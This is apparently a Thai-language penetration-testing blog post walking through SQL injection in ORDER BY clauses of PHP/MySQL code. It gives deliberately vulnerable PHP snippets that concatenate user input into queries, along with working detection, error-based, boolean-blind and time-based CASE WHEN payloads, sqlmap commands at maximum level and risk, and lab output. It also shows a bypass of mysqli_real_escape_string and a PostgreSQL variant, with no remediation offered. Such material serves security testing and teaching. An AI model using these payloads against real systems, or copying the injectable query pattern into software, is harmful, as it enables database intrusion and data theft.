พาทัวร์ SQL Injection — Order by
ด้านล่างคือโค้ดที่มักจะเจอบ่อยๆว่ามีปัญหา เหตุผลที่เจอบ่อยคือ developer ถูกสอนมาว่าให้ใช้ prepare statement ก็ใช้ไป prepare เรียบร้อย แต่ order by เนี่ยมัน prepare ไม่ได้ ก็เลยยัด concat string เหมือนเดิม ก็เลยโดน inject ได้เหมือนเดิม
$stmt = $conn->prepare("SELECT id, Name, Age FROM Users WHERE Name=? ORDER BY " . $_GET["order"]);
ตรวจสอบ
เวลาตรวจสอบ ผมชอบเริ่มจาก payload ง่ายๆเบื้องต้นก่อน มันยังไม่ได้บอกชัดเจนว่า exploit สำเร็จ แต่มันเป็นตัวบ่งบอกว่าด้านหลังมีโค้ดที่มีจุดรั่ว injection ได้
order=Age/*qwerty*/ASC # Should be ASC
order=Age/*qwerty*/DESC # Should be DESC*
order=Age ASCqwerty # Should return error
order=Age ASC/*qwerty*/
order=Age ASC --qwerty
order=Age ASC #qwerty
order=Age/*ASC*/DESC
order=Age DESC, 1 ASC #
order=Age DESC, 10000 ASC # Should return error
order=1000 ASC # Should return error
order=1 ABCDE # Should return error*ถ้าเป็น ASC อาจจะเป็นเพราะ code ดักไว้ว่า order!="DESC" ให้เป็น ASC ทั้งหมดเป็นต้น
payload ด้านบนถ้ามันทำงานได้ หรือเห็นความแตกต่างชัดเจน เกือบจะมั่นใจได้เลยว่าโค้ดนี้มี injection point ล่ะ เหตุผลที่สำเร็จแล้วแปลได้แบบนั้นเลย เพราะโค้ดส่วนใหญ่มักจะตรงไปตรงมาครับ ถ้าใส่ comment แล้วมันรันได้ มันก็คือ comment ได้นั่นแหละ
Injection: Stack Queries
ง่ายที่สุด คือการต่อ SQL command ไปข้างหลังเลย แต่ก็พบเจอได้ยากที่สุดเหมือนกันเพราะ library framework ส่วนใหญ่ ไม่ support feature นี้
ผมหาวิธี setup มา test ไม่ได้ เอา payload ง่ายๆไปละกัน
order=Age ASC; sleep(5);
Injection: Error based
อันนี้ง่ายรองจาก stack queries เลย เพราะไม่จำเป็นต้องให้ syntax ถูกต้อง แค่ต้องมั่นใจว่ามันอ่าน clause ของเราก็พอ
มีข้อแม้ว่า developer ต้องเขียน code ให้มันพ่น error ออกมาหา user ด้วย พบได้บ่อยใน request ประเภท REST ครับ (อาจจะเพราะมีความพยายามเขียนให้เป็น service/API มั้ง) ข้อเสียอีกอย่างของ error เนี่ย ผมว่ามันขึ้นอยู่กับ database หลังบ้านครับว่าเป็นอะไร ._. แอบยิงยากอยู่ถ้าไม่ใช้ sqlmap
?order=DESC,EXTRACTVALUE(5194,(SELECT (ELT(5194=5194,version()))))Error mysqli_sql_exception: XPATH syntax error: '.26-0ubuntu0.18.04.1' in /var/www/html/sqli.php:25 Stack trace: #0 /var/www/html/sqli.php(25): mysqli_stmt->execute() #1 {main}
Injection: CASE WHEN
เมื่อที่ผ่านมาไม่สำเร็จ ถ้าตามไปดูจาก document เรื่อง SQL syntax จะพบว่า statement เดียวที่สามารถ inject เข้าไปยังจุดหลัง ORDER BY ได้ เหลือแค่ CASE WHEN ครับ “แต่” ก็เป็นไปได้ว่าอนาคต หรือ database อื่นๆ มี syntax เปลี่ยนแปลง จนสามารถ inject statement อื่นๆเข้าไปได้เช่นกัน ตอนนี้ก็เอาปัจจุบันไปก่อน
https://dev.mysql.com/doc/refman/8.0/en/select.html
Variation 1: Both order column and direction
$stmt = $conn->prepare("SELECT id, Name, Age FROM Users WHERE Name=? ORDER BY " . $_GET["order"]);?order=(CASE WHEN(1=1) THEN Age ELSE Name END)DESCid: 5 - Name: Alice 40
id: 3 - Name: Alice 25
?order=(CASE WHEN(1=2) THEN Age ELSE Name END)DESCid: 3 - Name: Alice 25
id: 5 - Name: Alice 40
สำหรับ boolean-based ต้องพยายาม tune boolean clause ใน CASE WHEN ให้ผลลัพธ์มันออกมาแตกต่างกันให้ได้ เช่น เปลี่ยน column ต่างๆ เป็นต้น ซึ่ง boolean เนี่ยสังเกตความต่างได้หลายจุด เช่น ขนาดของ response, มีข้อมูลตอบกลับมาไหม, order ของข้อมูล เป็นต้น
ข่าวดี sqlmap ใช้ได้ อันนี้คือ boolean ระหว่าง เจอข้อมูล กับหน้าเปล่า (Syntax Error เลยไม่มีข้อมูลคืนมาให้)
Parameter: order (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: order=(SELECT (CASE WHEN (1674=1674) THEN 1674 ELSE 1674*(SELECT 1674 FROM INFORMATION_SCHEMA.PLUGINS) END))
Variation 2: Only sort direction
เอาจริงๆ เป็นท่าที่เจอบ่อยกว่าด้านบนครับ เจอบ่อยตรงพวกเว็บที่แสดงข้อมูลเป็นตาราง แล้วแถมมีปุ่มลูกศรให้ ในการเลือก sort ASC/DESC นั่นแหละ แต่ไม่ได้ให้เลือก column มา
$stmt = $conn->prepare("SELECT id, Name, Age FROM Users WHERE Name=? ORDER BY Age " . $_GET["order"]);
sqlmap เจอไหม ก็ได้อยู่ครับแต่ต้องปรับ level 5
# It can't detect with normal level and risk
$ sqlmap -u "http://localhost/sqli.php?name=Alice&order=DESC" -p order --level 5 --risk 3Parameter: order (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
Payload: name=Alice&order=DESC,(SELECT (CASE WHEN (2697=2697) THEN 1 ELSE 2697*(SELECT 2697 FROM INFORMATION_SCHEMA.PLUGINS) END))Parameter: order (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause
Payload: name=Alice&order=DESC,(SELECT (CASE WHEN (8286=8286) THEN SLEEP(5) ELSE 8286 END))
แต่ข้อเสียของ time-based เนี่ย คือมันใช้เวลาชั่วกาลนานเทอญจริงๆ ดังนั้นหากใช้ error-based หรือ boolean-based ได้เนี่ย จะดีมาก
Variation 3: Default case when error
คือ ถ้ามันดักว่าเจอ error ให้ไปเรียกใช้ query default ที่มีเตรียมไว้ให้แทน ไม่ค่อยเจอในพวก REST API ครับ แต่ก็มีบ้างเหมือนกัน
?order=DESCqwertyid: 1 - Name: Admin 20
id: 3 - Name: Alice 25
id: 5 - Name: Alice 40
id: 2 - Name: Bob 30
id: 4 - Name: Eve 23
sqlmap จะฉลาดพอไหมนะ พบว่า level 5 ก็ยังเจออยู่ครับ payload เดิมเลย
Parameter: order (GET)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
Payload: name=Alice&order=DESC,(SELECT (CASE WHEN (5250=5250) THEN 1 ELSE 5250*(SELECT 5250 FROM INFORMATION_SCHEMA.PLUGINS) END))
Variation 4: No data
เคยเจอจริงๆครับ บ่อยด้วย มีบาง endpoint มาเป็น SQL query ชัดๆ แต่ไม่มี data response มาเลย ดีย์จริงๆ 555 หลายครั้งเราไม่มีโอกาสขอให้ user generate data ให้หน่อย ผมกำลังจะ hack ไรงี้ ถ้าเจอสภาพนี้ก็ใช้งาน boolean-based ไม่ได้ละครับ เพราะไม่ว่าจะใส่อะไรเข้าไปก็ response — no data อย่างเดียวเลย
Boolean-based ไม่ได้
?order=ASC
0 resultsorder=ASC, (SELECT (CASE WHEN (1674=1674) THEN 1674 ELSE 1674*(SELECT 1674 FROM INFORMATION_SCHEMA.PLUGINS) END))
0 results?order=ASC, (SELECT (CASE WHEN (1674=1675) THEN 1674 ELSE 1674*(SELECT 1674 FROM INFORMATION_SCHEMA.PLUGINS) END))
0 results
กรณีนี้ต้องย้อนกลับไป error-based หรือ time-based ครับ sqlmap ยังเจอเหมือนเดิมครับ เย้ๆ level=5 เป็น time-based
?order=ASC, (SELECT (CASE WHEN (1674=1675) THEN 1674 ELSE 1674*(SELECT 1674 FROM INFORMATION_SCHEMA.PLUGINS) END)) # Error?order=DESC,(SELECT (CASE WHEN (8286=8286) THEN SLEEP(5) ELSE 8286 END)) # Wait 5 seconds
Variation 5: Not MYSQL database
เป็นตัวปัญหาหนึงที่อาจจะทำให้ sqlmap ยิงไม่เข้า และต้อง manual มือเองครับ แต่เอาเข้าจริงๆ พวก database main stream ทั้งหลายเนี่ย sqlmap เจอหมดครับ อันนี้ลองกับ postgresdb ได้ payload ดีกว่าผมอีก
(กรณีไม่มี data response เลย)
Parameter: order (GET)
Type: AND/OR time-based blind
Title: PostgreSQL > 8.1 time-based blind - ORDER BY, GROUP BY clause
Payload: name=Alice&order=DESC,(SELECT (CASE WHEN (3098=3098) THEN (SELECT 3098 FROM PG_SLEEP(5)) ELSE 1/(SELECT 0) END))
Variation 6: Escape with mysqli_real_escape_string
ก็มีเจอจริงๆเหมือนกัน เคสนี้อาจจะเป็นช่องโหว่ได้ ถ้าไม่ได้ตั้ง character set ให้ดี เพราะ order by injection เนี่ย มันไม่จำเป็นต้องใช้ single quote หรือ double quotes เลย จึงผ่าน default escape ของ mysqli_real_escape_string มาได้
escapestrThe string to be escaped.Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and Control-Z.
แปลว่าเราแค่ต้องระวัง query เราไม่ให้โดน encode เท่านั้นเอง
$order = $conn->real_escape_string($_GET["order"]);
$stmt = $conn->prepare("SELECT id, Name, Age FROM Users WHERE Name=? ORDER BY Age " . $order);?order=DESC,(SELECT (CASE WHEN (5250=5250) THEN 1 ELSE 5250*(SELECT 5250 FROM INFORMATION_SCHEMA.PLUGINS) END))
id: 5 - Name: Alice 40
id: 3 - Name: Alice 25?order=DESC,(SELECT (CASE WHEN (5250=5251) THEN 1 ELSE 5250*(SELECT 5250 FROM INFORMATION_SCHEMA.PLUGINS) END))
Error (0 result)
ถ้าไปยิงโดน encode character ก็ error ครับ ไม่แปลกอะไร
?order=DESC,(SELECT (CASE WHEN ("a"="a") THEN 1 ELSE 5250*(SELECT 5250 FROM INFORMATION_SCHEMA.PLUGINS) END))[Fri Nov 08 23:01:12.932436 2019] [php7:error] [pid 31469] [client 127.0.0.1:33804] PHP Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\"a\\"=\\"a\\") THEN 1 ELSE 5250*(SELECT 5250 FROM INFORMATION_SCHEMA.PLUGINS) END)' at line 1 in /var/www/html/sqli.php:18\nStack trace:\n#0 /var/www/html/sqli.php(18): mysqli->prepare('SELECT id, Name...')\n#1 {main}\n thrown in /var/www/html/sqli.php on line 18
ส่วน sqlmap ก็เจอครับ ต้องใส่ level risk เต็ม แต่ดันเจอเป็น time-based ซะงั้น ไม่รู้ทำไมเหมือนกัน ส่วน payload ของ boolean ก็ไม่รู้อารมณ์ไหนของมันไปใส่ DESC')
ก่อน เลยได้ error กลับไปแทน
---
Parameter: order (GET)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 time-based blind - ORDER BY, GROUP BY clause
Payload: name=Alice&order=DESC,(SELECT (CASE WHEN (4674=4674) THEN SLEEP(5) ELSE 4674 END))
---
สรุป
ยิง order by สนุกดีครับ
- Nov 9, 2019 -